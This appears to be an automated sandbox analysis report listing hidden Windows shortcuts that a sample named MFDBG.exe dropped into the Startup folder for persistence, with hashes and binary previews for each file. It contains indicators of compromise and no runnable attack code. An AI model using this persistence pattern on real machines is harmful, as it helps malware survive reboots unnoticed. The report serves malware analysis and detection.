Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_624438f2b6c84956be4b930c3dc223fc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9327031786810105
Encrypted:	false
SSDEEP:	24:8uhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8k3C0R6rMhpBoUBxdRd1nYyg
MD5:	BB628338E435E006E236C0F6A0118C5C
SHA1:	7E63AF14FF7540429F91A7F2AE359BE4DBD44449
SHA-256:	D2B15D7A340CA06832FF514B002E778A39761EA56B61DB8832391201477A3665
SHA-512:	8800A5CA9982C7AB861DE5C21EAFE16F907DA2A095DB598925F9B10A365DB7650E8A9075C3E21A1707A2217E5E373B68BA7CE38D2AC6FB329CC8F01A2FF57326
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...22..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6262a7ce758f4bcab1ee9c5040591e91.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935074718941502
Encrypted:	false
SSDEEP:	24:8RhBfQD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hp0R6rMhpBoUBxdRd1nYyg
MD5:	1D19DE392DFC0A5B75A934BC94B9EC01
SHA1:	39BD632A55D5ED727BFA54AF9E151396BED652E6
SHA-256:	1D2A55C4F5BBB3EE63A6E848C7045C27EB4AFA50D9D9E524B90C05907ED5C9CC
SHA-512:	52B8D84C8D3ABA0892F2CAF7014466BD1E266E027B94B267922DC0401856C877ECB6105E7DF38D8429845F8323FF2ABCD54CAA2C552E5FE2D90943712BD343AE
Malicious:	false
Preview:	L..................F...."...]W%.{....bP.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...!.l.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_627e6b8116da4fcba3daf5f9b64a0579.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94118272781065
Encrypted:	false
SSDEEP:	24:8qphBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8O3C0R6rMhpBoUBxdRd1nYyg
MD5:	530361FF9EC9AE6B106343EEAE29260B
SHA1:	C50DCE566EA1BC91BD9C559C02679BDA674E4491
SHA-256:	EE5E287408349BA4C1D0F62EF30B3838D3F361BA9DEAE0D1883FC3769C8C0636
SHA-512:	25911F4036DDE7B2E362D8E799BD3EABF3B3BE47466203CED99A5A85C85824C479B80CF377968E59A8A7B8271D57441B354E525854C5BEE428928E682D5751E1
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_62cadda31404448d838af88f08cfa737.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936651959479616
Encrypted:	false
SSDEEP:	24:8ChBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8o70R6rMhpBoUBxdRd1nYyg
MD5:	B854B76FF2E897A3C44C3EAC55361545
SHA1:	3EC87E54B9D992C9F79DC9CA9953171C45739B89
SHA-256:	B4D0E455F4B27B5A8D1F2A3964E7C20DBAC25CF0C872DB522705025454C366C0
SHA-512:	0B857D1E20385ABF5EEFF3D1A8863AE8B09BB649E811722AEFEB5D5FC0348A12110750B3CA8374C4FBAD3FFC42DCE43CC1723F8504C3C61403E3BF1580FF14A9
Malicious:	false
Preview:	L..................F...."...]W%.{.....v.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_62d7212e4d4d430aaab8a85144ef8964.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939221879802557
Encrypted:	false
SSDEEP:	24:8NhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8te0R6rMhpBoUBxdRd1nYyg
MD5:	66F09D51310E0A65B95603BB1FBE0082
SHA1:	9DCFF5532155E42C7CE34009EA49E33FE2F924AF
SHA-256:	9055A1ADC32275BD4CF7FBB3CB4AFF5BC920FA1E52D6B0025AD982BAEBED7B08
SHA-512:	D55BB1BF742F75943A12A57288AC3E3E4D304DFDBBD803F52C37032CDE3E7AA363F072718FFED1C38EE87B4821BCA8FE407B53A08FA479C90A68A15CD24BD14A
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_63204641a95644258f39a453d2c90675.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933927990490451
Encrypted:	false
SSDEEP:	24:8khBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Gd0R6rMhpBoUBxdRd1nYyg
MD5:	6E914A4B91B541F4A0A33D0F23E8F50B
SHA1:	52CCC86CDE7A22ADC0BA40A14CFE87E28513269F
SHA-256:	C2F789A83F1372195909F9D81227C1F0D62250B5DD9BB133FD174DC579250F49
SHA-512:	F44217B12336FA9B094362099EEA1476782FB7A3B9E2DCBDB25A7E77EABF5F1C7E9EC5A00679CF55B2D251144F7415EDB8E1B582FC7A0A3E9F9CAED82B83D08C
Malicious:	false
Preview:	L..................F...."...]W%.{...<...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_636df6856838405fa1d01e549a71f0a0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930536306700575
Encrypted:	false
SSDEEP:	24:85hBfZ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ZG0R6rMhpBoUBxdRd1nYyg
MD5:	5281A004A4D219571D7833B82359BBF0
SHA1:	32ED7C999E43CA492C6E2E2A08D58CEB6F4B51C4
SHA-256:	629E211AA3EC90622B64881E56F8CF2D26A8F6ABFCFCCEDE05252AE663C235F8
SHA-512:	B578C870C9D68C58583E692B726A68B26E837FB361300FB7281474D6C4DCE616721BFE23C61D606BE17DA34335B29A60C89E2E00ECA4CD7815E51AA731D3D7A6
Malicious:	false
Preview:	L..................F...."...]W%.{.....0.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....0.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_636e089d99994f76a06a167cade496c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93693876814321
Encrypted:	false
SSDEEP:	24:8OhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Es0R6rMhpBoUBxdRd1nYyg
MD5:	4FED56CBCB7A8D03BB49C3CDE484D480
SHA1:	BD909EFFF684AF7113219DC3A081D89F67F5C4D8
SHA-256:	E74D273E6CE946CC3447AD722ECA9B8986F12F75C369191442A9F4A8D85EE085
SHA-512:	27DAE87248BDCB260CB0E29140AD4039216313BD0064BBC0B40CD2E499BC6195251E32413BF1C8B52902077E3FDDA34E7D44D8E394C6D87781437AA3B4F96634
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_63d04d7c451444a5bdc13b74bc6e03fa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944150186448754
Encrypted:	false
SSDEEP:	24:8M+2hBf1kD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fcr0R6rMhpBoUBxdRd1nYyg
MD5:	A3FDA22F2478388C71D71A0ED20EFCB8
SHA1:	CE7AFA554C8831F84B4386591805D34C0BAF2537
SHA-256:	2BCFE7ABA416D88A1DA5C5DA56789AB51663BC8E31745DC0994D3A73FB091707
SHA-512:	0EDFFA641AF8B24C3A2A92D0A6756AD5B155087452029203D2B3B1F4B42BF206F9A9E0803138314FE19370960877DFFE3F8A99EE676B7CCF358CE856D862DB7D
Malicious:	false
Preview:	L..................F...."...]W%.{.....G.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....(.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_63db1a430d05465daea4982ab73643fb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93718106429206
Encrypted:	false
SSDEEP:	24:8+hBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8UnC0R6rMhpBoUBxdRd1nYyg
MD5:	85D88259135C2F023C81255843623977
SHA1:	53A25E2BE8AB1B4F3CFD3C30D29C98DF1D8B2B5E
SHA-256:	9D6315BF2484870B6F783641714087615939576EE4AE855E7F1EDBDFD69C080A
SHA-512:	413EEBF7AFA299AE54AF2A37AAC3DD48BA3261F5607F95D9B0E6D60864BBA1B3A040141BF2CFE02C4A90D1410E4695CCF377F9E76CDBA7420DEEFBC94D00D2DB
Malicious:	false
Preview:	L..................F...."...]W%.{...Di..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64063bfef1c54d9cb8893495e95ac390.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938119709438189
Encrypted:	false
SSDEEP:	24:8aGhBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8aMlc0R6rMhpBoUBxdRd1nYyg
MD5:	A28315EF2272D9AD8867D02C1AD03121
SHA1:	A5FD603776D6DDF8403985BE777DFF74F5F0D49D
SHA-256:	376EB877EF8ADD8BD202800E121AD893DAA3D856695F9E7FEB4DCD08FE878122
SHA-512:	BB2D6EC62A6F080F81F1590A4F122974EC83218D194E4A5026A9815A1D43A5BF56745A6CB3E2739AEEBB49C4D654B9872E43240A428B6A7919A4F79746A0EE48
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6413f07228bf47ecba0251da93e50f1f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9397938367773
Encrypted:	false
SSDEEP:	24:8tphBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8blc0R6rMhpBoUBxdRd1nYyg
MD5:	D16350892AF061BD44CC26CB8F12633B
SHA1:	787B5D313673DC883CB3E873AC0A578722D6A178
SHA-256:	3B0E61FB7A0AE6E47744629B8D7939317C78A0964815D7613BF36E028CECA919
SHA-512:	B7BEFBDF58DB38FFBF030669CF85A65BE5665A41035ECD1673D24DD9D200CD0FA2C6DDB63C4E0EF9F6AD5AD1E100B30B3A695C69611BDCB6632D0E4575F3992E
Malicious:	false
Preview:	L..................F...."...]W%.{....Q..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64b92a5043934c708f7c4c0e749fa84e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943843124294043
Encrypted:	false
SSDEEP:	24:8shhBfE8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8sRJ0R6rMhpBoUBxdRd1nYyg
MD5:	49DA401DB658DF22CA714AE073F384CF
SHA1:	250C3B3E8379B88A9DD49FBAB3C87C6A307EB792
SHA-256:	2C8B8C4F930C3F05D1CA47A8AEBC239CD5B6F888919C5A749BD784C75464C2CA
SHA-512:	5CA62E3B0B4A9431911553B1C900F3B70BE3B979E60A1C214BFC6C164978C6621E1E136865D12E3D1C139264495283C17A1DCC8E61021C21A09B2068549584C9
Malicious:	false
